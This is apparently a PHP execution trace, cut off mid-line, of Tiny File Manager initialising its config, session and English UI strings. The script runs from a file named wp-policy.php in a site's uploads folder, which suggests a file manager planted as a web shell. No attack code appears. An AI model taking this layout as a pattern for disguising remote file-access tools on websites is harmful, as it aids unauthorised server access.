3	10	R			class stdClass { public $lang = 'en'; public $error_reporting = FALSE; public $show_hidden = FALSE; public $hide_Cols = FALSE; public $calc_folder = FALSE; public $theme = 'light' }
3	11	0	0.004357	1283152	fm_object_to_array	1		/var/www/html/uploads/wp-policy.php	3289	1	class stdClass { public $lang = 'en'; public $error_reporting = FALSE; public $show_hidden = FALSE; public $hide_Cols = FALSE; public $calc_folder = FALSE; public $theme = 'light' }
4	12	0	0.004395	1283152	get_object_vars	0		/var/www/html/uploads/wp-policy.php	2637	1	class stdClass { public $lang = 'en'; public $error_reporting = FALSE; public $show_hidden = FALSE; public $hide_Cols = FALSE; public $calc_folder = FALSE; public $theme = 'light' }
4	12	1	0.004423	1283184
4	12	R			['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
3		A						/var/www/html/uploads/wp-policy.php	2637	$obj = ['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
4	13	0	0.004463	1283152	array_map	0		/var/www/html/uploads/wp-policy.php	2639	2	'fm_object_to_array'	['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
5	14	0	0.004486	1283280	fm_object_to_array	1		/var/www/html/uploads/wp-policy.php	2639	1	'en'
5	14	1	0.004500	1283280
5	14	R			'en'
5	15	0	0.004514	1283600	fm_object_to_array	1		/var/www/html/uploads/wp-policy.php	2639	1	FALSE
5	15	1	0.004527	1283600
5	15	R			FALSE
5	16	0	0.004541	1283600	fm_object_to_array	1		/var/www/html/uploads/wp-policy.php	2639	1	FALSE
5	16	1	0.004553	1283600
5	16	R			FALSE
5	17	0	0.004566	1283600	fm_object_to_array	1		/var/www/html/uploads/wp-policy.php	2639	1	FALSE
5	17	1	0.004584	1283600
5	17	R			FALSE
5	18	0	0.004597	1283600	fm_object_to_array	1		/var/www/html/uploads/wp-policy.php	2639	1	FALSE
5	18	1	0.004610	1283600
5	18	R			FALSE
5	19	0	0.004622	1283600	fm_object_to_array	1		/var/www/html/uploads/wp-policy.php	2639	1	'light'
5	19	1	0.004636	1283600
5	19	R			'light'
4	13	1	0.004649	1283600
4	13	R			['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
3	11	1	0.004671	1283528
3	11	R			['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
2		A						/var/www/html/uploads/wp-policy.php	3289	$data = ['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
2		A						/var/www/html/uploads/wp-policy.php	3300	$this->data = ['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light']
2	9	1	0.004729	1283064
1		A						/var/www/html/uploads/wp-policy.php	146	$cfg = class FM_Config { public $data = ['lang' => 'en', 'error_reporting' => FALSE, 'show_hidden' => FALSE, 'hide_Cols' => FALSE, 'calc_folder' => FALSE, 'theme' => 'light'] }
1		A						/var/www/html/uploads/wp-policy.php	149	$lang = 'en'
1		A						/var/www/html/uploads/wp-policy.php	152	$show_hidden_files = FALSE
1		A						/var/www/html/uploads/wp-policy.php	155	$report_errors = FALSE
1		A						/var/www/html/uploads/wp-policy.php	158	$hide_Cols = FALSE
1		A						/var/www/html/uploads/wp-policy.php	161	$calc_folder = FALSE
1		A						/var/www/html/uploads/wp-policy.php	164	$theme = 'light'
2	20	0	0.004822	1283440	define	0		/var/www/html/uploads/wp-policy.php	166	2	'FM_THEME'	'light'
2	20	1	0.004837	1283544
2	20	R			TRUE
1		A						/var/www/html/uploads/wp-policy.php	170	$lang_list = ['en' => 'English']
2	21	0	0.004863	1283472	ini_set	0		/var/www/html/uploads/wp-policy.php	177	2	'error_reporting'	32767
2	21	1	0.004878	1283608
2	21	R			'22527'
2	22	0	0.004892	1283504	ini_set	0		/var/www/html/uploads/wp-policy.php	178	2	'display_errors'	0
2	22	1	0.004906	1283576
2	22	R			''
2	23	0	0.004920	1283504	set_time_limit	0		/var/www/html/uploads/wp-policy.php	186	1	600
2	23	1	0.004936	1283568
2	23	R			FALSE
2	24	0	0.004949	1283536	date_default_timezone_set	0		/var/www/html/uploads/wp-policy.php	188	1	'Etc/UTC'
2	24	1	0.004972	1283592
2	24	R			TRUE
2	25	0	0.004985	1283544	ini_set	0		/var/www/html/uploads/wp-policy.php	190	2	'default_charset'	'UTF-8'
2	25	1	0.005000	1283648
2	25	R			'UTF-8'
2	26	0	0.005013	1283544	version_compare	0		/var/www/html/uploads/wp-policy.php	191	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.6.0'	'<'
2	26	1	0.005030	1283640
2	26	R			FALSE
2	27	0	0.005043	1283544	function_exists	0		/var/www/html/uploads/wp-policy.php	194	1	'mb_regex_encoding'
2	27	1	0.005057	1283584
2	27	R			FALSE
2	28	0	0.005070	1283544	session_cache_limiter	0		/var/www/html/uploads/wp-policy.php	198	1	''
2	28	1	0.005089	1283616
2	28	R			'nocache'
2	29	0	0.005105	1283544	session_name	0		/var/www/html/uploads/wp-policy.php	199	1	'filemanager'
2	29	1	0.005124	1283616
2	29	R			'PHPSESSID'
2	30	0	0.005138	1283544	set_error_handler	0		/var/www/html/uploads/wp-policy.php	208	1	'session_error_handling_function'
2	30	1	0.005153	1283584
2	30	R			NULL
2	31	0	0.005166	1283544	session_start	0		/var/www/html/uploads/wp-policy.php	209	0
2	31	1	0.005218	1284056
2	31	R			TRUE
2	32	0	0.005233	1284056	restore_error_handler	0		/var/www/html/uploads/wp-policy.php	210	0
2	32	1	0.005245	1284056
2	32	R			TRUE
1		A						/var/www/html/uploads/wp-policy.php	218	$is_https = FALSE
2	33	0	0.005271	1284056	fm_clean_path	1		/var/www/html/uploads/wp-policy.php	226	2	''	???
3	34	0	0.005285	1284056	trim	0		/var/www/html/uploads/wp-policy.php	2368	1	''
3	34	1	0.005297	1284088
3	34	R			''
2		A						/var/www/html/uploads/wp-policy.php	2368	$path = ''
3	35	0	0.005321	1284056	trim	0		/var/www/html/uploads/wp-policy.php	2369	2	''	'\\/'
3	35	1	0.005334	1284128
3	35	R			''
2		A						/var/www/html/uploads/wp-policy.php	2369	$path = ''
3	36	0	0.005356	1284056	str_replace	0		/var/www/html/uploads/wp-policy.php	2370	3	[0 => '../', 1 => '..\\']	''	''
3	36	1	0.005372	1284152
3	36	R			''
2		A						/var/www/html/uploads/wp-policy.php	2370	$path = ''
3	37	0	0.005395	1284056	get_absolute_path	1		/var/www/html/uploads/wp-policy.php	2371	1	''
4	38	0	0.005408	1284056	str_replace	0		/var/www/html/uploads/wp-policy.php	2347	3	[0 => '/', 1 => '\\']	'/'	''
4	38	1	0.005424	1284152
4	38	R			''
3		A						/var/www/html/uploads/wp-policy.php	2347	$path = ''
4	39	0	0.005446	1284056	explode	0		/var/www/html/uploads/wp-policy.php	2348	2	'/'	''
4	39	1	0.005460	1284504
4	39	R			[0 => '']
4	40	0	0.005473	1284432	array_filter	0		/var/www/html/uploads/wp-policy.php	2348	2	[0 => '']	'strlen'
5	41	0	0.005488	1284560	strlen	0		/var/www/html/uploads/wp-policy.php	2348	1	''
5	41	1	0.005501	1284592
5	41	R			0
4	40	1	0.005514	1284560
4	40	R			[]
3		A						/var/www/html/uploads/wp-policy.php	2348	$parts = []
3		A						/var/www/html/uploads/wp-policy.php	2349	$absolutes = []
4	42	0	0.005548	1284112	implode	0		/var/www/html/uploads/wp-policy.php	2358	2	'/'	[]
4	42	1	0.005561	1284176
4	42	R			''
3	37	1	0.005574	1284056
3	37	R			''
2		A						/var/www/html/uploads/wp-policy.php	2371	$path = ''
3	43	0	0.005596	1284056	str_replace	0		/var/www/html/uploads/wp-policy.php	2375	3	'\\'	'/'	''
3	43	1	0.005610	1284152
3	43	R			''
2	33	1	0.005623	1284056
2	33	R			''
1		A						/var/www/html/uploads/wp-policy.php	226	$root_url = ''
2	44	0	0.005646	1284104	define	0		/var/www/html/uploads/wp-policy.php	229	2	'FM_ROOT_URL'	'http://localhost'
2	44	1	0.005662	1284208
2	44	R			TRUE
2	45	0	0.005675	1284200	define	0		/var/www/html/uploads/wp-policy.php	230	2	'FM_SELF_URL'	'http://localhost/uploads/wp-policy.php'
2	45	1	0.005691	1284304
2	45	R			TRUE
2	46	0	0.005706	1284232	fm_show_header_login	1		/var/www/html/uploads/wp-policy.php	294	0
2		A						/var/www/html/uploads/wp-policy.php	3436	$sprites_ver = '20160315'
3	47	0	0.005730	1284232	header	0		/var/www/html/uploads/wp-policy.php	3437	1	'Content-Type: text/html; charset=utf-8'
3	47	1	0.005747	1284408
3	47	R			NULL
3	48	0	0.005760	1284376	header	0		/var/www/html/uploads/wp-policy.php	3438	1	'Expires: Sat, 26 Jul 1997 05:00:00 GMT'
3	48	1	0.005775	1284488
3	48	R			NULL
3	49	0	0.005788	1284456	header	0		/var/www/html/uploads/wp-policy.php	3439	1	'Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0'
3	49	1	0.005805	1284608
3	49	R			NULL
3	50	0	0.005817	1284576	header	0		/var/www/html/uploads/wp-policy.php	3440	1	'Pragma: no-cache'
3	50	1	0.005832	1284672
3	50	R			NULL
3	51	0	0.005847	1284688	fm_enc	1		/var/www/html/uploads/wp-policy.php	3454	1	'Tiny File Manager'
4	52	0	0.005861	1284688	htmlspecialchars	0		/var/www/html/uploads/wp-policy.php	2581	3	'Tiny File Manager'	3	'UTF-8'
4	52	1	0.005878	1284960
4	52	R			'Tiny File Manager'
3	51	1	0.005896	1284848
3	51	R			'Tiny File Manager'
2	46	1	0.005918	1284656
2	53	0	0.005926	1284656	fm_get_theme	1		/var/www/html/uploads/wp-policy.php	300	0
2		A						/var/www/html/uploads/wp-policy.php	3051	$result = ''
2	53	1	0.005949	1284656
2	53	R			''
2	54	0	0.005963	1284656	lng	1		/var/www/html/uploads/wp-policy.php	318	1	'Username'
2		A						/var/www/html/uploads/wp-policy.php	4014	$tr['en']['AppName'] = 'Tiny File Manager'
2		A						/var/www/html/uploads/wp-policy.php	4014	$tr['en']['AppTitle'] = 'File Manager'
2		A						/var/www/html/uploads/wp-policy.php	4015	$tr['en']['Login'] = 'Sign in'
2		A						/var/www/html/uploads/wp-policy.php	4015	$tr['en']['Username'] = 'Username'
2		A						/var/www/html/uploads/wp-policy.php	4016	$tr['en']['Password'] = 'Password'
2		A						/var/www/html/uploads/wp-policy.php	4016	$tr['en']['Logout'] = 'Sign Out'
2		A						/var/www/html/uploads/wp-policy.php	4017	$tr['en']['Move'] = 'Move'
2		A						/var/www/html/uploads/wp-policy.php	4017	$tr['en']['Copy'] = 'Copy'
2		A						/var/www/html/uploads/wp-policy.php	4018	$tr['en']['Save'] = 'Save'
2		A						/var/www/html/uploads/wp-policy.php	4018	$tr['en']['SelectAll'] = 'Select all'
2		A						/var/www/html/uploads/wp-policy.php	4019	$tr['en']['UnSelectAll'] = 'Unselect all'
2		A						/var/www/html/uploads/wp-policy.php	4019	$tr['en']['File'] = 'File'
2		A						/var/www/html/uploads/wp-policy.php	4020	$tr['en']['Back'] = 'Back'
2		A						/var/www/html/uploads/wp-policy.php	4020	$tr['en']['Size'] = 'Size'
2		A						/var/www/html/uploads/wp-policy.php	4021	$tr['en']['Perms'] = 'Perms'
2		A						/var/www/html/uploads/wp-policy.php	4021	$tr['en']['Modified'] = 'Modified'
2		A						/var/www/html/uploads/wp-policy.php	4022	$tr['en']['Owner'] = 'Owner'
2		A						/var/www/html/uploads/wp-policy.php	4022	$tr['en']['Search'] = 'Search'
2		A						/var/www/html/uploads/wp-policy.php	4023	$tr['en']['NewItem'] = 'New Item'
2		A						/var/www/html/uploads/wp-policy.php	4023	$tr['en']['Folder'] = 'Folder'
2		A						/var/www/html/uploads/wp-policy.php	4024	$tr['en']['Delete'] = 'Delete'
2		A						/var/www/html/uploads/wp-policy.php	4024	$tr['en']['Rename'] = 'Rename'
2		A						/var/www/html/uploads/wp-policy.php	4025	$tr['en']['CopyTo'] = 'Copy to'
2		A						/var/www/html/uploads/wp-policy.php	4025	$tr['en']['DirectLink'] = 'Direct link'
2		A						/var/www/html/uploads/wp-policy.php	4026	$tr['en']['UploadingFiles'] = 'Upload Files'
2		A						/var/www/html/uploads/wp-policy.php	4026	$tr['en']['ChangePermissions'] = 'Change Permissions'
2		A						/var/www/html/uploads/wp-policy.php	4027	$tr['en']['Copying'] = 'Copying'
2		A						/var/www/html/uploads/wp-policy.php	4027	$tr['en']['CreateNewItem'] = 'Create New Item'
2		A						/var/www/html/uploads/wp-policy.php	4028	$tr['en']['Name'] = 'Name'
2		A						/var/www/html/uploads/wp-policy.php	4028	$tr['en']['AdvancedEditor'] = 'Advanced Editor'
2		A						/var/www/html/uploads/wp-policy.php	4029	$tr['en']['RememberMe'] = 'Remember Me'
2		A						/var/www/html/uploads/wp-policy.php	4029	$tr['en']['Actions'] = 'Actions'
2		A						/var/www/html/uploads/wp-policy.php	4030	$tr['en']['Upload'] = 'Upload'
2		A						/var/www/html/uploads/wp-policy.php	4030	$tr['en']['Cancel'] = 'Cancel'
2		A						/var/www/html/uploads/wp-policy.php	4031	$tr['en']['InvertSelection'] = 'Invert Selection'
2		A						/var/www/html/uploads/wp-policy.php	4031	$tr['en']['DestinationFolder'] = 'Destination Folder'
2		A						/var/www/html/uploads/wp-policy.php	4032	$tr['en']['ItemType'] = 'Item Type'
2		A						/var/www/html/uploads/wp-policy.php	4032	$tr['en']['ItemName'] = 'Item Name'
2		A						/var/www/html/uploads/wp-policy.php	4033	$tr['en']['CreateNow'] = 'Create Now'
2		A						/var/www/html/uploads/wp-policy.php	4033	$tr['en']['Download'] = 'Download'
2		A						/var/www/html/uploads/wp-policy.php	4034	$tr['en']['Open'] = 'Open'
2		A						/var/www/html/uploads/wp-policy.php	4034	$tr['en']['UnZip'] = 'UnZip'
2		A						/var/www/html/uploads/wp-policy.php	4035	$tr['en']['UnZipToFolder'] = 'UnZip to folder'
2		A						/var/www/html/uploads/wp-policy.php	4035	$tr['en']['Edit'] = 'Edit'
2		A						/var/www/html/uploads/wp-policy.php	4036	$tr['en']['NormalEditor'] = 'Normal Editor'
2		A						/var/www/html/uploads/wp-policy.php	4036	$tr['en']['BackUp'] = 'Back Up'
2		A						/var/www/html/uploads/wp-policy.php	4037	$tr['en']['SourceFolder'] = 'Source Folder'
2		A						/var/www/html/uploads/wp-policy.php	4037	$tr['en']['Files'] = 'Files'
2		A						/var/www/html/uploads/wp-policy.php	4038	$tr['en']['Move'] = 'Move'
2		A						/var/www/html/uploads/wp-policy.php	4038	$tr['en']['Change'] = 'Change'
2		A						/var/www/html/uploads/wp-policy.php	4039	$tr['en']['Settings'] = 'Settings'
2		A						/var/www/html/uploads/wp-policy.php	4039	$tr['en']['Language'] = 'Language'
2		A						/var/www/html/uploads/wp-policy.php	4040	$tr['en']['Folder is empty'] = 'Folder is empty'
2		A						/var/www/html/uploads/wp-policy.php	4040	$tr['en']['PartitionSize'] = 'Partition size'
2		A						/var/www/html/uploads/wp-policy.php	4041	$tr['en']['ErrorReporting'] = 'Error Reporting'
2		A						/var/www/html/uploads/wp-policy.php	4041	$tr['en']['ShowHiddenFiles'] = 'Show Hidden Files'
2		A						/var/www/html/uploads/wp-policy.php	4042	$tr['en']['Full size'] = 'Full size'
2		A						/var/www/html/uploads/wp-policy.php	4042	$tr['en']['Help'] = 'Help'
2		A						/var/www/html/uploads/wp-policy.php	4043	$tr['en']['Free of'] = 'Free of'
2		A						/var/www/html/uploads/wp-policy.php	4043	$tr['en']['Preview'] = 'Preview'
2		A						/var/www/html/uploads/wp-policy.php	4044	$tr['en']['Help Documents'] = 'Help Documents'
2		A						/var/www/html/uploads/wp-policy.php	4044	$tr['en']['Report Issue'] = 'Report Issue'
2		A						/var/www/html/uploads/wp-policy.php	4045	$tr['en']['Generate'] = 'Generate'
2		A						/var/www/html/uploads/wp-policy.php	4045	$tr['en']['FullSize'] = 'Full Size'
2		A						/var/www/html/uploads/wp-policy.php	4046	$tr['en']['FreeOf'] = 'free of'
2		A						/var/www/html/uploads/wp-policy.php	4046	$tr['en']['CalculateFolderSize'] = 'Calculate folder size'
2		A						/var/www/html/uploads/wp-policy.php	4047	$tr['en']['ProcessID'] = 'Process ID'
2		A						/var/www/html/uploads/wp-policy.php	4047	$tr['en']['Created'] = 'Created'
2		A						/var/www/html/uploads/wp-policy.php	4048	$tr['en']['HideColumns'] = 'Hide Perms/Owner columns'
2		A						/var/www/html/uploads/wp-policy.php	4048	$tr['en']['You are logged in'] = 'You are logged in'
2		A						/var/www/html/uploads/wp-policy.php	4049	$tr['en']['Check Latest Version'] = 'Check Latest Version'
2		A						/var/www/html/uploads/wp-policy.php	4049	$tr['en']['Generate new password hash'] = 'Generate new password hash'
2		A						/var/www/html/uploads/wp-policy.php	4050	$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password'
2		A						/var/www/html/uploads/wp-policy.php	4051	$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version'
2		A						/var/www/html/uploads/wp-policy.php	4055	$tr['en']['Advanced Search'] = 'Advanced Search'
2		A						/var/www/html/uploads/wp-policy.php	4055	$tr['en']['Error while copying fro'] = 'Error while copying fro'
2		A						/var/www/html/uploads/wp-policy.php	4056	$tr['en']['Nothing selected'] = 'Nothing selected'
2		A						/var/www/html/uploads/wp-policy.php	4056	$tr['en']['Paths must be not equal'] = 'Paths must be not equal'
2		A						/var/www/html/uploads/wp-policy.php	4057	$tr['en']['Renamed from'] = 'Renamed from'
2		A						/var/www/html/uploads/wp-policy.php	4057	$tr['en']['Archive not unpacked'] = 'Archive not unpacked'
2		A						/var/www/html/uploads/wp-policy.php	4058	$tr['en']['Deleted'] = 'Deleted'
2		A						/var/www/html/uploads/wp-policy.php	4058	$tr['en']['Archive not created'] = 'Archive not created'
2		A						/var/www/html/uploads/wp-policy.php	4059	$tr['en']['Copied from'] = 'Copied from'
2		A						/var/www/html/uploads/wp-policy.php	4059	$tr['en']['Permissions changed'] = 'Permissions changed'
2		A						/var/www/html/uploads/wp-policy.php	4060	$tr['en']['to'] = 'to'
2		A						/var/www/html/uploads/wp-policy.php	4060	$tr['en']['Saved Successfully'] = 'Saved Successfully'
2		A						/var/www/html/uploads/wp-policy.php	4061	$tr['en']['not found!'] = 'not found!'
2		A						/var/www/html/uploads/wp-policy.php	4061	$tr['en']['File Saved Successfully'] = 'File Saved Successfully'
2		A						/var/www/html/uploads/wp-policy.php	4062	$tr['en']['Archive'] = 'Archive'
2		A						/var/www/html/uploads/wp-policy.php	4062	$tr['en']['Permissions not changed'] = 'Permissions not changed'
2		A						/var/www/html/uploads/wp-policy.php	4063	$tr['en']['Select folder'] = 'Select folder'
2		A						/var/www/html/uploads/wp-policy.php	4063	$tr['en']['Source path not defined'] = 'Source path not defined'
2		A						/var/www/html/uploads/wp-policy.php	4064	$tr['en']['already exists'] = 'already exists'
2		A						/var/www/html/uploads/wp-policy.php	4064	$tr['en']['Error while moving from'] = 'Error while moving from'
2		A						/var/www/html/uploads/wp-policy.php	4065	$tr['en']['Create archive?'] = 'Create archive?'
2		A						/var/www/html/uploads/wp-policy.php	4065	$tr['en']['Invalid file or folder name'] = 'Invalid file or folder name'
2		A						/var/www/html/uploads/wp-policy.php	4066	$tr['en']['Archive unpacked'] = 'Archive unpacked'
2		A						/var/www/html/uploads/wp-policy.php	4066	$tr['en']['File extension is not allowed'] = 'File extension is not allowed'
2		A						/var/www/html/uploads/wp-policy.php	4067	$tr['en']['Root path'] = 'Root path'
2		A						/var/www/html/uploads/wp-policy.php	4067	$tr['en']['Error while renaming from'] = 'Error while renaming from'
2		A						/var/www/html/uploads/wp-policy.php	4068	$tr['en']['File not found'] = 'File not found'
2		A						/var/www/html/uploads/wp-policy.php	4068	$tr['en']['Error while deleting items'] = 'Error while deleting items'
2		A						/var/www/html/uploads/wp-policy.php	4069	$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name'
2		A						/var/www/html/uploads/wp-policy.php	4070	$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED'
2		A						/var/www/html/uploads/wp-policy.php	4071	$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted'
2		A						/var/www/html/uploads/wp-policy.php	4072	$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info'
2		A						/var/www/html/uploads/wp-policy.php	4073	$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?'
2		A						/var/www/html/uploads/wp-policy.php	4074	$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...'
2		A						/var/www/html/uploads/wp-policy.php	4075	$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable'
2		A						/var/www/html/uploads/wp-policy.php	4076	$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name'
2		A						/var/www/html/uploads/wp-policy.php	4077	$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available'
2		A						/var/www/html/uploads/wp-policy.php	4078	$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists'
2		A						/var/www/html/uploads/wp-policy.php	4080	$tr['en']['Moved from'] = 'Moved from'
3	55	0	0.007314	1293280	fm_get_translations	1		/var/www/html/uploads/wp-policy.php	4082	1	['en' => ['AppName' => 'Tiny File Manager', 'AppTitle' => 'File Manager', 'Login' => 'Sign in', 'Username' => 'Username', 'Password' => 'Password', 'Logout' => 'Sign Out', 'Move' => 'Move', 'Copy' => 'Copy', 'Save' => 'Save', 'SelectAll' => 'Select all', 'UnSelectAll' => 'Unselect all', 'File' => 'File', 'Back' => 'Back', 'Size' => 'Size', 'Perms' => 'Perms', 'Modified' => 'Modified', 'Owner' => 'Owner', 'Search' => 'Search', 'NewItem' => 'New Item', 'Folder' => 'Folder', 'Delete' => 'Delete', 'Rename' => 'Rename', 'CopyTo' => 'Copy to', 'DirectLink' => 'Direct link', 'UploadingFiles' => 'Upload Files', 'ChangePermissions' => 'Change Permissions', 'Copying' => 'Copying', 'CreateNewItem' => 'Create New Item', 'Name' => 'Name', 'AdvancedEditor' => 'Advanced Editor', 'RememberMe' => 'Remember Me', 'Actions' => 'Actions', 'Upload' => 'Upload', 'Cancel' => 'Cancel', 'InvertSelection' => 'Invert Selection', 'DestinationFolder' => 'Destination Folder', 'ItemType' => 'Item Type', 'ItemName' => 'Item Name', 'CreateNow' => 'Create Now', 'Download' => 'Download', 'Open' => 'Open', 'UnZip' => 'UnZip', 'UnZipToFolder' => 'UnZip to folder', 'Edit' => 'Edit', 'NormalEditor' => 'Normal Editor', 'BackUp' => 'Back Up', 'SourceFolder' => 'Source Folder', 'Files' => 'Files', 'Change' => 'Change', 'Settings' => 'Settings', 'Language' => 'Language', 'Folder is empty' => 'Folder is empty', 'PartitionSize' => 'Partition size', 'ErrorReporting' => 'Error Reporting', 'ShowHiddenFiles' => 'Show Hidden Files', 'Full size' => 'Full size', 'Help' => 'Help', 'Free of' => 'Free of', 'Preview' => 'Preview', 'Help Documents' => 'Help Documents', 'Report Issue' => 'Report Issue', 'Generate' => 'Generate', 'FullSize' => 'Full Size', 'FreeOf' => 'free of', 'CalculateFolderSize' => 'Calculate folder size', 'ProcessID' => 'Process ID', 'Created' => 'Created', 'HideColumns' => 'Hide Perms/Owner columns', 'You are logged in' => 'You are logged in', 'Check Latest Version' => 'Check Latest Version', 'Generate new password hash' => 'Generate new password hash', 'Login failed. Invalid username or password' => 'Login failed. Invalid username or password', 'password_hash not supported, Upgrade PHP version' => 'password_hash not supported, Upgrade PHP version', 'Advanced Search' => 'Advanced Search', 'Error while copying fro' => 'Error while copying fro', 'Nothing selected' => 'Nothing selected', 'Paths must be not equal' => 'Paths must be not equal', 'Renamed from' => 'Renamed from', 'Archive not unpacked' => 'Archive not unpacked', 'Deleted' => 'Deleted', 'Archive not created' => 'Archive not created', 'Copied from' => 'Copied from', 'Permissions changed' => 'Permissions changed', 'to' => 'to', 'Saved Successfully' => 'Saved Successfully', 'not found!' => 'not found!', 'File Saved Successfully' => 'File Saved Successfully', 'Archive' => 'Archive', 'Permissions not changed' => 'Permissions not changed', 'Select folder' => 'Select folder', 'Source path not defined' => 'Source path not defined', 'already exists' => 'already exists', 'Error while moving from' => 'Error while moving from', 'Create archive?' => 'Create archive?', 'Invalid file or folder name' => 'Invalid file or folder name', 'Archive unpacked' => 'Archive unpacked', 'File extension is not allowed' => 'File extension is not allowed', 'Root path' => 'Root path', 'Error while renaming from' => 'Error while renaming from', 'File not found' => 'File not found', 'Error while deleting items' => 'Error while deleting items', 'Invalid characters in file name' => 'Invalid characters in file name', 'FILE EXTENSION HAS NOT SUPPORTED' => 'FILE EXTENSION HAS NOT SUPPORTED', 'Selected files and folder deleted' => 'Selected files and folder deleted', 'Error while fetching archive info' => 'Error while fetching archive info', 'Delete selected files and folders?' => 'Delete selected files and folders?', 'Search file in folder and subfolders...' => 'Search file in folder and subfolders...', 'Access denied. IP restriction applicable' => 'Access denied. IP restriction applicable', 'Invalid characters in file or folder name' => 'Invalid characters in file or folder name', 'Operations with archives are not available' => 'Operations with archives are not available', 'File or folder with this path already exists' => 'File or folder with this path already exists', 'Moved from' => 'Moved from']]
4	56	0	0.007468	1293280	file_get_contents	0		/var/www/html/uploads/wp-policy.php	2425	1	'translation.json'
4	56	1	0.007501	1293432
4	56	R			FALSE
3		A						/var/www/html/uploads/wp-policy.php	2425	$content = FALSE
3	55	1	0.007529	1293392
3	55	R			NULL
2		A						/var/www/html/uploads/wp-policy.php	4082	$i18n = NULL
2		A						/var/www/html/uploads/wp-policy.php	4083	$tr = ['en' => ['AppName' => 'Tiny File Manager', 'AppTitle' => 'File Manager', 'Login' => 'Sign in', 'Username' => 'Username', 'Password' => 'Password', 'Logout' => 'Sign Out', 'Move' => 'Move', 'Copy' => 'Copy', 'Save' => 'Save', 'SelectAll' => 'Select all', 'UnSelectAll' => 'Unselect all', 'File' => 'File', 'Back' => 'Back', 'Size' => 'Size', 'Perms' => 'Perms', 'Modified' => 'Modified', 'Owner' => 'Owner', 'Search' => 'Search', 'NewItem' => 'New Item', 'Folder' => 'Folder', 'Delete' => 'Delete', 'Rename' => 'Rename', 'CopyTo' => 'Copy to', 'DirectLink' => 'Direct link', 'UploadingFiles' => 'Upload Files', 'ChangePermissions' => 'Change Permissions', 'Copying' => 'Copying', 'CreateNewItem' => 'Create New Item', 'Name' => 'Name', 'AdvancedEditor' => 'Advanced Editor', 'RememberMe' => 'Remember Me', 'Actions' => 'Actions', 'Upload' => 'Upload', 'Cancel' => 'Cancel', 'InvertSelection' => 'Invert Selection', 'DestinationFolder' => 'Destination Folder', 'ItemType' => 'Item Type', 'ItemName' => 'Item Name', 'CreateNow' => 'Create Now', 'Download' => 'Download', 'Open' => 'Open', 'UnZip' => 'UnZip', 'UnZipToFolder' => 'UnZip to folder', 'Edit' => 'Edit', 'NormalEditor' => 'Normal Editor', 'BackUp' => 'Back Up', 'SourceFolder' => 'Source Folder', 'Files' => 'Files', 'Change' => 'Change', 'Settings' => 'Settings', 'Language' => 'Language', 'Folder is empty' => 'Folder is empty', 'PartitionSize' => 'Partition size', 'ErrorReporting' => 'Error Reporting', 'ShowHiddenFiles' => 'Show Hidden Files', 'Full size' => 'Full size', 'Help' => 'Help', 'Free of' => 'Free of', 'Preview' => 'Preview', 'Help Documents' => 'Help Documents', 'Report Issue' => 'Report Issue', 'Generate' => 'Generate', 'FullSize' => 'Full Size', 'FreeOf' => 'free of', 'CalculateFolderSize' => 'Calculate folder size', 'ProcessID' => 'Process ID', 'Created' => 'Created', 'HideColumns' => 'Hide Perms/Owner columns', 'You are logged in' => 'You are logged in', 'Check Latest Version' => 'Check Latest Version', 'Generate new password hash' => 'Generate new password hash', 'Login failed. Invalid username or password' => 'Login failed. Invalid username or password', 'password_hash not supported, Upgrade PHP version' => 'password_hash not supported, Upgrade PHP version', 'Advanced Search' => 'Advanced Search', 'Error while copying fro' => 'Error while copying fro', 'Nothing selected' => 'Nothing selected', 'Paths must be not equal' => 'Paths must be not equal', 'Renamed from' => 'Renamed from', 'Archive not unpacked' => 'Archive not unpacked', 'Deleted' => 'Deleted', 'Archive not created' => 'Archive not created', 'Copied from' => 'Copied from', 'Permissions changed' => 'Permissions changed', 'to' => 'to', 'Saved Successfully' => 'Saved Successfully', 'not found!' => 'not found!', 'File Saved Successfully' => 'File Saved Successfully', 'Archive' => 'Archive', 'Permissions not changed' => 'Permissions not changed', 'Select folder' => 'Select folder', 'Source path not defined' => 'Source path not defined', 'already exists' => 'already exists', 'Error while moving from' => 'Error while moving from', 'Create archive?' => 'Create archive?', 'Invalid file or folder name' => 'Invalid file or folder name', 'Archive unpacked' => 'Archive unpacked', 'File extension is not allowed' => 'File extension is not allowed', 'Root path' => 'Root path', 'Error while renaming from' => 'Error while renaming from', 'File not found' => 'File not found', 'Error while deleting items' => 'Error while deleting items', 'Invalid characters in file name' => 'Invalid characters in file name', 'FILE EXTENSION HAS NOT SUPPORTED' => 'FILE EXTENSION HAS NOT SUPPORTED', 'Selected files and folder deleted' => 'Selected files and folder deleted', 'Error while fetching archive info' => 'Error while fetching archive info', 'Delete selected files and folders?' => 'Delete selected files and folders?', 'Search file in folder and subfolders...' => 'Search file in folder and 